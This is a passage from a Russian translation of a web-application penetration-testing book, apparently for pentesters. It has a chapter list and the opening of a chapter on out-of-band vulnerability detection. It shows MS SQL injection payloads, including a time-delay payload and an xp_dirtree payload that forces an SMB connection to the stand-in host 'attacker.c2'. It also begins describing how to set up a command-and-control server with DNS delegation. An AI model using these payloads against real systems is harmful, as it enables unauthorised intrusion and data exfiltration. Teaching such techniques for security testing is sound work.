- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
Глава |
||||
|
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
6
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
В предыдущей главе мы рассмотрели подтверждение наличия и эксплуатации уязвимостей, подверженных атакам, использующим внедрение файлов. Подтверждение было простым, поскольку сервер сразу показал, что приложение уязвимо. Что происходит, когда не все так ясно? Например, сервер уязвим, но не показывает никаких признаков в случае непредвиденного ввода? При проверке на наличие, скажем, уязвимости, связанной с SQL-инъекцией, злоумышленники обычно внедряют во ввод специально созданные значения и наблюдают за поведением приложения. Иногда, если им повезет, сервер возвращает ярко-красное сообщение об ошибке, указывающее на существование точки инъекции.
По мере усложнения приложений и фреймворков приложения для эксплуатации становятся более жесткими,и поведенческие подсказки,на которые мы привыклиполагатьсяприподтвержденииналичияуязвимости,уженетакочевидны. Современные приложения имеюттенденцию подавлять сообщения об ошибках по умолчанию и не всегда могут обрабатывать ввод синхронно. Если бы наша полезная нагрузка выполнялась пакетным заданием бэкенда каждые восемь часов, мы не увидели бы эффекта в HTTP-ответе и пропустили бы потенциально критическую уязвимость.
«Внеполосное»1 (out-of-band) обнаружение уязвимостей – это процесс, с помощью которого можно заставить приложение взаимодействовать с внешней службой, которую мы контролируем. Если приложение уязвимо для атаки с помощью SQL-инъекции,но при первоначальном сканировании не возникает мгновенных подсказок, можем передать ему вредоносный код, который обманет приложение, обмениваясь данными с нашим командно-контрольным
1Внеполосныеданные–логически независимый канал общения с приложением.В большинстве примеровизэтойипоследующихглавмывынуждаемприложениеотправитьданныенетолько
клиенту, запросившему их, но и на сервер, подконтрольный злоумышленнику.– Прим.перев.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 136 Глава 6.Обнаружение и эксплуатация уязвимостей в приложениях... |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
сервером,ровнотакимколичеством,чтобыдоказать,чтовредоносныйкодвы- |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
полнен.
В этой главе рассмотрим следующие темы:
создание командно-контрольного сервера;использование INetSim для эмуляции служб;
подтверждение наличия уязвимостей с использованием «внеполосных» методов;
расширенная утечка данных.
Распространенный сценарий
Представим, что приложение http://vuln.app.internal/user.aspx?Name=Dade
уязвимо для атаки с помощью SQL-инъекции на параметре name. Традиционные полезные нагрузки и «полиглоты», похоже, не влияют на ответ приложения. Возможно, сообщения об ошибках базы данных отключены, и значение name не обрабатывается приложением синхронно.
Где-то на внутреннем сервере Microsoft SQL (MS SQL) выполняется следую щий запрос:
SELECT * FROM users WHERE user = 'Dade';
Простое использование одинарных кавычек для параметра name приведет к SQL-ошибке. Значит, нам повезло. Но в этом случае сообщения об ошибках подавляются, поэтому с точки зрения клиента мы бы не поняли, что что-то пошло нетак.Сделав еще шаг вперед,можно заставить приложение отложить ответ на значительный промежуток времени, чтобы подтвердить наличие уязвимости.
SELECT * FROM users WHERE user = 'Dade';WAITFOR DELAY '0:0:20' --';
Этаполезнаянагрузкавводит20-секунднуюзадержкуввозвращениезапро- са, что достаточно явно, чтобы поднять тревогу, но запрос выполняется асинхронно. То есть приложение отвечает нам до того, как запрос будет завершен, поскольку, вероятно, это не зависит от результата.
Именноздесьоказываетсяполезным использованиевнеполосныхсервисов при поиске скрытых уязвимостей. Вместо полезной нагрузки WAITFOR DELAY приведенный ниже код заставит сервер MS SQL подключаться к произвольному хосту, который мы контролируем, по протоколу Server Message Block
(SMB).
';declare @q varchar(99);set @q='\\attacker.c2\test'; exec master.dbo.xp_dirtree @q;--
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Командно-контрольный сервер 137 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Несмотря на необычный внешний вид, этот код довольно прост для пони- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
мания, даже для тех из нас, кто не работает с SQL каждый день. Он сделает следующее:
1)выделит место для строковой переменной @q (тип varchar, длина
99 байт);
2)установит в качестве значения переменной @q UNC-путь,указывающий на наш сервер: \\attacker.c2\test;
3)выполнит перечисление файлов каталоговUNC-пути,сохраненного в @q.
Сервер может или не может установить соединение по протоколу SMB с нашим сервером и получить список файлов.Был ли обмен данными по протоколу SMB успешным, не имеет значения. Если у нас есть контроль над доменом attacker.c2, у нас почти сразу есть доказательства SQL-инъекции. Это справедливо и в отношении многих других типов уязвимостей, которые трудно обнаружить с помощью традиционного сканирования. Например, XXE-атаки можно подтвердить с использованием точно такой же методологии. Некоторые уязвимости, подверженные XSS-атакам, не всегда очевидны с точки зрения злоумышленника. Внедренный код JavaScript может отображаться только в панели управления, которую не видит злоумышленник, но как только администратор входит в систему, запускается эксплойт. Могут пройти часы, а можетбыть,дажедни после инъекции вредоносного программного обеспечения. Техника внеполосного обнаружения и эксплуатациитаких уязвимостей уведомит злоумышленника, как только полезная нагрузка будет выполнена.
Прежде чем мы побежим быстрее себя, нам нужен надлежащий команд- но-контрольный сервер, чтобы проверить некоторые из этих уязвимостей. Данный сервер должен принимать не только соединения от приложения, выбранного в качестве объекта атаки,но и DNS-запросы.В случае если серверная часть приложения будет защищена брандмауэром в выходном наборе правил, она не сможет согласовать подтверждение связи по протоколу SMB. С другой стороны,почтивсегдаразрешеныисходящиеDNS-запросычерезUDP-порт53. Даже если приложению не разрешено подключаться к нашему серверу напрямую, DNS-серверы целевой сети будут проксировать запрос на определение адреса до тех пор, пока он не достигнет нашего сервера.
Командно-контрольный сервер
Существует большое число облачных провайдеров, и благодаря конкуренции их услугидовольнодешевы.Нам не нужна мощная машина–достаточно получить микроэкземпляр отлюбого из этих провайдеров:
Google Cloud;
Amazon AWS;
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
NOW! |
|
o |
|
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
Глава 6.Обнаружение и эксплуатация уязвимостей в приложениях... |
||||
w Click |
to |
BUY 138 |
||||||||||
|
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
Microsoft Azure; |
|||
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
DigitalOcean. |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Google Cloud иAmazonAWS обладаютуровнями,которые предоставляютвсе ресурсы виртуальных машин, нужные вам, бесплатно. Разумеется, в течение ограниченного времени. Однако те несколько долларов в месяц, которые требуются для запуска виртуальных машин в облаке, окупятся для тех из нас, кто использует командно-контрольный сервер.
Данные экземпляры также должны быть развернуты для каждого клиента,а диски–зашифрованы.Ввиду характера нашей работы конфиденциальные данные клиентов могут идти потоком и храниться небезопасно. После завершения задания уничтожьте виртуальную машину вместе с любыми данными клиента, которые могли быть собраны.
Когда виртуальная машина готова к работе,обычно ей присваивается динамический внешний IP-адрес. В некоторых случаях можно запросить статиче- скийIP-адрес,нообычноэтогонетребуется.ДинамическиевнешниеIP-адреса будут оставаться неизменными, пока виртуальная машина включена.
Рис.6.1. Экземпляр виртуальной машины c2.spider.ml запущен и работает в облаке Google
Запишите внешний IP-адрес, поскольку эта виртуальная машина должна быть авторитетным сервером имен (NS) для домена командно-контроль- ного сервера. Мы можем использовать любой домен или поддомен, если они контролируются .
В следующем примере уполномоченная зона spider.ml делегирует поддомен командно-контрольного сервера IP-адресу нашей виртуальной машины. Для NS необходима запись (ns1.spider.ml), поскольку напрямую выполнить делегирование нельзя.